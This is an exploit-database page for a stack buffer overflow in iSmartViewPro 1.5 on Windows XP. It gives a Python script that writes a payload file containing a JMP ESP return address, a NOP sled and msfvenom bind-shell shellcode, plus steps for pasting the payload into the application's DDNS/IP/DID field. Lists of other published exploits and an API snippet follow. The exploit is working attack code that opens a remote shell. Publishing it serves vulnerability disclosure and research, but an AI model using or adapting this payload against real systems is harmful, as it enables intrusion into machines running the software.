Become a patron and gain access to the dashboard, Schedule scan, API and Search

Search for hundreds of thousands of exploits

"iSmartViewPro 1.5 - 'DDNS' Buffer Overflow"

Author

Exploit author

"Luis Martínez"

Platform

Exploit platform

windows_x86

Release date

Exploit published date

2018-09-04

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
# Exploit Title: iSmartViewPro 1.5 - 'DDNS/IP/DID' Buffer Overflow
# Discovery by: Luis Martinez
# Discovery Date: 2018-09-03
# Vendor Homepage: https://securimport.com/
# Software Link: https://securimport.com/university/videovigilancia-ip/software/493-software-ismartviewpro-v1-5
# Tested Version: 1.5
# Vulnerability Type: Buffer Overflow
# Tested on OS: Windows XP Professional SP3 x86 es

# Steps to Produce the Buffer Overflow: 
# 1.- Run python code : iSmartViewPro_1.5.py
# 2.- Open iSmartViewPro_1.5.txt and copy content to clipboard
# 3.- Open iSmartViewPro
# 4.- Add Device
# 5.- Add device manually
# 6.- Device alias -> test
# 7.- Paste ClipBoard on "DDNS/IP/DID"
# 8.- Account -> admin
# 9.- Password -> admin
# 10.- Save

#!/usr/bin/env python
 
#7E6B30D7 FFE4 JMP ESP SHELL32.dll
ret = "\xD7\x30\x6B\x7E"

#msfvenom -p windows/shell_bind_tcp -b '\x00\x0A\x0D' -f c
shellcode = (
"\xbb\x3c\xd8\x80\xcc\xda\xc3\xd9\x74\x24\xf4\x5a\x31\xc9\xb1"
"\x53\x31\x5a\x12\x03\x5a\x12\x83\xd6\x24\x62\x39\xda\x3d\xe1"
"\xc2\x22\xbe\x86\x4b\xc7\x8f\x86\x28\x8c\xa0\x36\x3a\xc0\x4c"
"\xbc\x6e\xf0\xc7\xb0\xa6\xf7\x60\x7e\x91\x36\x70\xd3\xe1\x59"
"\xf2\x2e\x36\xb9\xcb\xe0\x4b\xb8\x0c\x1c\xa1\xe8\xc5\x6a\x14"
"\x1c\x61\x26\xa5\x97\x39\xa6\xad\x44\x89\xc9\x9c\xdb\x81\x93"
"\x3e\xda\x46\xa8\x76\xc4\x8b\x95\xc1\x7f\x7f\x61\xd0\xa9\xb1"
"\x8a\x7f\x94\x7d\x79\x81\xd1\xba\x62\xf4\x2b\xb9\x1f\x0f\xe8"
"\xc3\xfb\x9a\xea\x64\x8f\x3d\xd6\x95\x5c\xdb\x9d\x9a\x29\xaf"
"\xf9\xbe\xac\x7c\x72\xba\x25\x83\x54\x4a\x7d\xa0\x70\x16\x25"
"\xc9\x21\xf2\x88\xf6\x31\x5d\x74\x53\x3a\x70\x61\xee\x61\x1d"
"\x46\xc3\x99\xdd\xc0\x54\xea\xef\x4f\xcf\x64\x5c\x07\xc9\x73"
"\xa3\x32\xad\xeb\x5a\xbd\xce\x22\x99\xe9\x9e\x5c\x08\x92\x74"
"\x9c\xb5\x47\xe0\x94\x10\x38\x17\x59\xe2\xe8\x97\xf1\x8b\xe2"
"\x17\x2e\xab\x0c\xf2\x47\x44\xf1\xfd\x76\xc9\x7c\x1b\x12\xe1"
"\x28\xb3\x8a\xc3\x0e\x0c\x2d\x3b\x65\x24\xd9\x74\x6f\xf3\xe6"
"\x84\xa5\x53\x70\x0f\xaa\x67\x61\x10\xe7\xcf\xf6\x87\x7d\x9e"
"\xb5\x36\x81\x8b\x2d\xda\x10\x50\xad\x95\x08\xcf\xfa\xf2\xff"
"\x06\x6e\xef\xa6\xb0\x8c\xf2\x3f\xfa\x14\x29\xfc\x05\x95\xbc"
"\xb8\x21\x85\x78\x40\x6e\xf1\xd4\x17\x38\xaf\x92\xc1\x8a\x19"
"\x4d\xbd\x44\xcd\x08\x8d\x56\x8b\x14\xd8\x20\x73\xa4\xb5\x74"
"\x8c\x09\x52\x71\xf5\x77\xc2\x7e\x2c\x3c\xf2\x34\x6c\x15\x9b"
"\x90\xe5\x27\xc6\x22\xd0\x64\xff\xa0\xd0\x14\x04\xb8\x91\x11"
"\x40\x7e\x4a\x68\xd9\xeb\x6c\xdf\xda\x39")

buffer = "\x41" * 383 + ret + "\x90" * 8 + shellcode
f = open ("iSmartViewPro_1.5.txt", "w")
f.write(buffer)
f.close()
Release Date Title Type Platform Author
2020-10-16 "Seat Reservation System 1.0 - Remote Code Execution (Unauthenticated)" webapps php "Rahul Ramkumar"
2020-10-16 "Hotel Management System 1.0 - Remote Code Execution (Authenticated)" webapps php Aporlorxl23
2020-10-16 "Restaurant Reservation System 1.0 - 'date' SQL Injection (Authenticated)" webapps php b1nary
2020-10-16 "aaPanel 6.6.6 - Privilege Escalation & Remote Code Execution (Authenticated)" webapps python "Ünsal Furkan Harani"
2020-10-16 "Employee Management System 1.0 - Authentication Bypass" webapps php "Ankita Pal"
2020-10-16 "Company Visitor Management System (CVMS) 1.0 - Authentication Bypass" webapps php "Oğuz Türkgenç"
2020-10-16 "Employee Management System 1.0 - Cross Site Scripting (Stored)" webapps php "Ankita Pal"
2020-10-16 "Alumni Management System 1.0 - Authentication Bypass" webapps php "Ankita Pal"
2020-10-16 "CS-Cart 1.3.3 - authenticated RCE" webapps php 0xmmnbassel
2020-10-16 "Seat Reservation System 1.0 - Unauthenticated SQL Injection" webapps php "Rahul Ramkumar"
Release Date Title Type Platform Author
2019-11-19 "Microsoft Windows 7 (x86) - 'BlueKeep' Remote Desktop Protocol (RDP) Remote Windows Kernel Use After Free" remote windows_x86 0xeb-bp
2019-07-19 "MAPLE Computer WBT SNMP Administrator 2.0.195.15 - Remote Buffer Overflow (EggHunter)" remote windows_x86 sasaga92
2019-05-08 "Google Chrome 72.0.3626.119 - 'FileReader' Use-After-Free (Metasploit)" remote windows_x86 Metasploit
2019-01-02 "Ayukov NFTP FTP Client 2.0 - Buffer Overflow" local windows_x86 "Uday Mittal"
2018-12-27 "MAGIX Music Editor 3.1 - Buffer Overflow (SEH)" local windows_x86 bzyo
2018-12-27 "ShareAlarmPro 2.1.4 - Denial of Service (PoC)" dos windows_x86 T3jv1l
2018-12-27 "Terminal Services Manager 3.1 - Local Buffer Overflow (SEH)" local windows_x86 bzyo
2018-12-27 "Iperius Backup 5.8.1 - Buffer Overflow (SEH)" local windows_x86 bzyo
2018-12-27 "Product Key Explorer 4.0.9 - Denial of Service (PoC)" dos windows_x86 T3jv1l
2018-12-27 "NetShareWatcher 1.5.8 - Denial of Service (PoC)" dos windows_x86 T3jv1l
Release Date Title Type Platform Author
2020-08-06 "CodeMeter 6.60 - 'CodeMeter.exe' Unquoted Service Path" local windows "Luis Martínez"
2020-08-05 "QlikView 12.50.20000.0 - 'FTP Server Address' Denial of Service (PoC)" dos windows "Luis Martínez"
2020-08-04 "RTSP for iOS 1.0 - 'IP Address' Denial of Service (PoC)" dos windows "Luis Martínez"
2020-08-04 "Mocha Telnet Lite for iOS 4.2 - 'User' Denial of Service (PoC)" dos windows "Luis Martínez"
2019-11-25 "Waves MaxxAudio Drivers 1.1.6.0 - 'WavesSysSvc64' Unquoted Service Path" local windows "Luis Martínez"
2019-11-19 "scadaApp for iOS 1.1.4.0 - 'Servername' Denial of Service (PoC)" dos ios "Luis Martínez"
2019-11-19 "Studio 5000 Logix Designer 30.01.00 - 'FactoryTalk Activation Service' Unquoted Service Path" local windows "Luis Martínez"
2019-11-18 "Emerson PAC Machine Edition 9.70 Build 8595 - 'FxControlRuntime' Unquoted Service Path" local windows "Luis Martínez"
2019-11-18 "Open Proficy HMI-SCADA 5.0.0.25920 - 'Password' Denial of Service (PoC)" dos ios "Luis Martínez"
2019-11-04 "OpenVPN Connect 3.0.0.272 - 'agent_ovpnconnect' Unquoted Service Path" local windows "Luis Martínez"
2019-01-31 "Advanced Host Monitor 11.90 Beta - 'Registration number' Denial of Service (PoC)" dos windows "Luis Martínez"
2019-01-07 "BlueAuditor 1.7.2.0 - 'Key' Denial of Service (PoC)" dos windows "Luis Martínez"
2019-01-07 "SpotFTP Password Recover 2.4.2 - 'Name' Denial of Service (PoC)" dos windows "Luis Martínez"
2019-01-07 "Foscam Video Management System 1.1.4.9 - 'Username' Denial of Service (PoC)" dos windows "Luis Martínez"
2019-01-02 "NBMonitor Network Bandwidth Monitor 1.6.5.0 - 'Name' Denial of Service (PoC)" dos windows_x86-64 "Luis Martínez"
2019-01-02 "NetworkSleuth 3.0.0.0 - 'Key' Denial of Service (PoC)" dos windows_x86-64 "Luis Martínez"
2018-09-13 "InduSoft Web Studio 8.1 SP1 - 'Tag Name' Buffer Overflow (SEH)" local windows_x86-64 "Luis Martínez"
2018-09-11 "InTouch Machine Edition 8.1 SP1 - 'Nombre del Tag' Buffer Overflow (SEH)" local windows_x86-64 "Luis Martínez"
2018-09-04 "iSmartViewPro 1.5 - 'DDNS' Buffer Overflow" local windows_x86 "Luis Martínez"
2018-09-03 "Symantec Mobile Encryption for iPhone 2.1.0 - 'Server' Denial of Service (PoC)" dos ios "Luis Martínez"
2018-09-03 "Trend Micro Virtual Mobile Infrastructure 5.5.1336 - 'Server address' Denial of Service (PoC)" dos ios "Luis Martínez"
2018-08-29 "Cisco AnyConnect Secure Mobility Client 4.6.01099 - 'Introducir URL' Denial of Service (PoC)" dos ios "Luis Martínez"
2018-08-28 "Cisco Network Assistant 6.3.3 - 'Cisco Login' Denial of Service (PoC)" dos windows "Luis Martínez"
2018-08-27 "Trend Micro Enterprise Mobile Security 2.0.0.1700 - 'Servidor' Denial of Service (PoC)" dos ios "Luis Martínez"
2018-08-24 "SkypeApp 12.8.487.0 - 'Cuenta de Skype o Microsoft' Denial of Service (PoC)" dos windows_x86-64 "Luis Martínez"
2018-08-02 "AgataSoft Auto PingMaster 1.5 - 'Host name' Denial of Service (PoC)" local windows "Luis Martínez"
2018-07-31 "Switch Port Mapping Tool 2.81 - 'SNMP Community Name' Denial of Service (PoC)" dos windows "Luis Martínez"
2018-07-30 "ipPulse 1.92 - 'IP Address/HostName-Comment' Denial of Service (PoC)" dos windows "Luis Martínez"
2018-07-27 "QNap QVR Client 5.1.1.30070 - 'Password' Denial of Service (PoC)" dos windows "Luis Martínez"
2018-07-27 "NetScanTools Basic Edition 2.5 - 'Hostname' Denial of Service (PoC)" dos windows "Luis Martínez"
import requests
response = requests.get('https://www.nmmapper.com/api/v1/exploitdetails/45325/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.